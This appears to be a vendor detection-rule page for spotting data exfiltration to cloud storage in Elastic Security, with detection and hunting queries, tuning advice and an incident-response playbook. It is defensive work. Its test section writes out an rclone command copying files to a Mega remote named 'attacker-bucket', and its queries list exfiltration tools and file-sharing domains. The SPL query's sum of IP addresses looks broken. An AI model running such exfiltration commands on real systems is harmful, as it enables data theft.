THREAT-CloudStorage-DataExfil Elastic Security · Elastic

Detect Data Exfiltration via Cloud Storage Services in Elastic Security

Exfiltration of corporate data to attacker-controlled cloud storage is a dominant technique in double-extortion ransomware campaigns and espionage operations. Adversaries use legitimate cloud storage services (Mega, Dropbox, OneDrive, Box, Google Drive, rclone, AzCopy, ShareFile) to blend exfiltration traffic with normal business activity, bypassing egress monitoring that blocks unknown C2 IPs. Scattered Spider used Mega for SMB data exfiltration before ransomware deployment in 2024-2025. Akira and Black Basta affiliates use rclone with SFTP/cloud backends. Lazarus Group favors Dropbox and Google Drive. Key indicators: rclone.exe or azcopy.exe execution with external cloud endpoints, large outbound data transfers to cloud storage IPs, WinSCP or FileZilla used for bulk data staging, and PowerShell Invoke-WebRequest with cloud storage URLs. Detection opportunity exists in the staging phase (file collection before transfer) and the transfer phase (network and process telemetry).

MITRE ATT&CK

Tactic
Exfiltration

Elastic Detection Query

Elastic Security (Elastic)
eql 
process where event.type == "start" and
(
  process.name : "rclone.exe"
  or (
    process.name : "azcopy.exe" and
    process.command_line : ("*blob.core.windows.net*", "*file.core.windows.net*", "*queue.core.windows.net*")
  )
  or (
    process.name : ("curl.exe", "powershell.exe", "pwsh.exe", "wscript.exe", "cscript.exe") and
    process.command_line : (
      "*mega.nz*", "*mega.io*", "*dropbox.com*", "*dropboxapi.com*",
      "*transfer.sh*", "*gofile.io*", "*box.com*", "*box.net*",
      "*drive.google.com*", "*onedrive.live.com*", "*sharefile.com*",
      "*sendspace.com*", "*filebin.net*", "*anonfiles.com*"
    )
  )
)
high severity high confidence

Detects data exfiltration via cloud storage tools using Elastic ECS process events. Alerts on rclone.exe execution (primary ransomware exfil tool used by Scattered Spider, Akira, Black Basta), AzCopy targeting external Azure Blob/File storage endpoints, and PowerShell or curl invocations referencing known cloud storage and anonymous file-sharing domains. Maps to MITRE T1567.002.

Data Sources

Elastic Endpoint SecurityElastic Agent (Endpoint Integration)Winlogbeat with Sysmon

Required Tables

logs-endpoint.events.process-*winlogbeat-*

False Positives & Tuning

  • Authorized IT data migrations: infrastructure teams running rclone for approved cloud storage migrations between providers — verify with change management tickets, whitelist specific service account process.user.name values, and correlate against known maintenance windows
  • Azure DevOps or CI/CD pipelines: AzCopy invoked by pipeline agents deploying static assets to Azure Blob Storage — add corporate Azure storage account FQDNs to the exclusion list in process.command_line and filter on known build agent hostnames via host.name
  • Sanctioned SaaS file sharing: end users on corporate-approved Dropbox Business or Box Enterprise accounts syncing files in bulk — tune alerts to flag only personal or unregistered accounts and supplement with volume thresholds from network events

Other platforms for THREAT-CloudStorage-DataExfil

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 1 adversary technique from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1 Simulate Cloud Exfiltration via rclone to Mega

    Expected signal: Sysmon Event ID 1: rclone.exe with copy command targeting mega remote. Sysmon Event ID 3: network connection to mega.co.nz or api.mega.co.nz.

Last updated: 2026-04-24 Research depth: deep
References (3)

Response Playbook

Triage

  1. If rclone is detected: rclone.exe has no legitimate end-user purpose on standard workstations. Any execution outside of an IT-documented backup process should be treated as active exfiltration.
  2. Review the rclone command line for the target remote (e.g., rclone copy C:\share remote:bucket) — this tells you what data was targeted and where it went.
  3. For AzCopy with external storage accounts: determine if the target storage account name is a corporate account or attacker-controlled. Check Azure Activity logs for recent storage account creation.
  4. Estimate data volume: check network flow logs for total bytes sent to the external destination during the alert window.
  5. Identify how rclone arrived on the system: file creation event for rclone.exe, browser download history, SMB copy from another internal host.

Containment

  1. Isolate the affected host via EDR immediately if active exfiltration is detected.
  2. Block the exfiltration destination at the firewall: rclone targets (mega.nz, etc.) or the specific Azure storage blob URL.
  3. Attempt to delete the uploaded data: if Mega or similar service was used, contact them with a law enforcement or data subject request. For attacker-controlled Azure blob storage, the data cannot be retrieved.
  4. Identify the scope of exfiltrated data: which files/directories were included in the rclone copy command? This determines GDPR/data breach notification obligations.
  5. Notify data protection officer/legal team if sensitive personal data (GDPR Article 33) or customer data was exfiltrated — breach notification obligations may apply.

Evidence Collection

  1. rclone.exe command line: target directories, remote configuration, transfer parameters
  2. Network flow logs: bytes transferred, destination IP, duration
  3. rclone config file (typically %APPDATA%\rclone\rclone.conf): contains remote credentials
  4. Sysmon Event ID 3: network connections from rclone to exfiltration endpoint
  5. File access logs: which files were accessed/read before the exfiltration

Escalation Criteria

  • !Data exfiltration confirmed (rclone executed and network transfer observed) — double-extortion ransomware scenario
  • !Sensitive data directories included in rclone copy (HR, Finance, Legal, Engineering source code)
  • !GDPR-relevant personal data (customer records, employee data) confirmed in exfiltrated scope
  • !Evidence of exfiltration followed by ransomware staging indicators on same host or other hosts

Investigation Guide

Related Techniques

T1567.002 — Exfiltration Over Web Service: Exfiltration to Cloud StorageT1048 — Exfiltration Over Alternative ProtocolT1005 — Data from Local System (collecting data before exfiltration)T1039 — Data from Network Shared Drive (staging from file servers)T1486 — Data Encrypted for Impact (ransomware following exfiltration)

Forensic Artifacts

  • >rclone.conf: attacker remote configuration with credentials and target bucket
  • >rclone.exe binary: hash for attribution, metadata for provenance
  • >Windows Prefetch: RCLONE.EXE-*.pf with execution timestamps
  • >rclone log file (if --log-file parameter was used): full transfer log
  • >Network PCAP (if available): actual file data transferred to confirm scope

Tuning Guidance

rclone.exe execution on workstations is almost never legitimate — create an alert with no threshold (any occurrence triggers). For AzCopy, build an allowlist of corporate Azure storage account names and alert on any AzCopy operations targeting accounts not in the list. For network-based detection, proxy logs are often more reliable than DNS/flow data for cloud storage domain matching. If your organisation legitimately uses Dropbox or Box for business, exclude those domains but create alerts for the specific large-transfer scenarios (>100MB/hour). Block or alert on mega.nz, gofile.io, transfer.sh, and anonfiles.com at the web proxy as these have no legitimate business use in most SMBs.

Hunting Queries

Hunt for any connections to known file hosting and exfiltration sites over the past 30 days — establish a baseline of what, if any, cloud storage connections are expected in your environment.

Hunting — KQL
kql 
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any ("mega.nz", "mega.io", "dropbox.com", "gofile.io", "transfer.sh", "sendspace.com")
| summarize
    Hits=count(),
    TotalBytesSent=sum(SentBytes),
    Processes=make_set(InitiatingProcessFileName),
    Days=dcount(bin(Timestamp, 1d))
  by DeviceName, AccountName, RemoteUrl
| sort by TotalBytesSent desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
  (DestinationHostname="*mega.nz*" OR DestinationHostname="*dropbox.com*" OR
   DestinationHostname="*gofile.io*" OR DestinationHostname="*transfer.sh*")
| stats count AS Conns, sum(DestinationIp) AS IPs BY host, User, Image, DestinationHostname
| sort - Conns

Atomic Red Team Tests

Test 1 Simulate Cloud Exfiltration via rclone to Mega
windows

Uses rclone to copy test files to a Mega cloud storage account, simulating the exfiltration technique used by Akira and Black Basta ransomware operators. Test files should be non-sensitive dummy data.

Command

powershell 
echo 'Test exfiltration data' > C:\Temp\exfil_test.txt && rclone.exe copy C:\Temp\exfil_test.txt mega:attacker-bucket --config C:\Temp\rclone_test.conf

Cleanup

powershell 
Remove-Item C:\Temp\exfil_test.txt, C:\Temp\rclone_test.conf -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: rclone.exe with copy command targeting mega remote. Sysmon Event ID 3: network connection to mega.co.nz or api.mega.co.nz.

Expected Detection

Alert fires on rclone.exe execution (RiskScore=85) and network connection to mega.nz. Both indicators trigger simultaneously.

Related Detections

Tactic Hub

TA0010 Exfiltration

Detection Variants (2)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.

Parent Technique

T1567.002 Exfiltration to Cloud Storage

Related Techniques

T1567.002 Exfiltration to Cloud Storage T1048 Exfiltration Over Alternative Protocol T1005 Data from Local System T1039 Data from Network Shared Drive T1486 Data Encrypted for Impact

Same Tactic: Exfiltration

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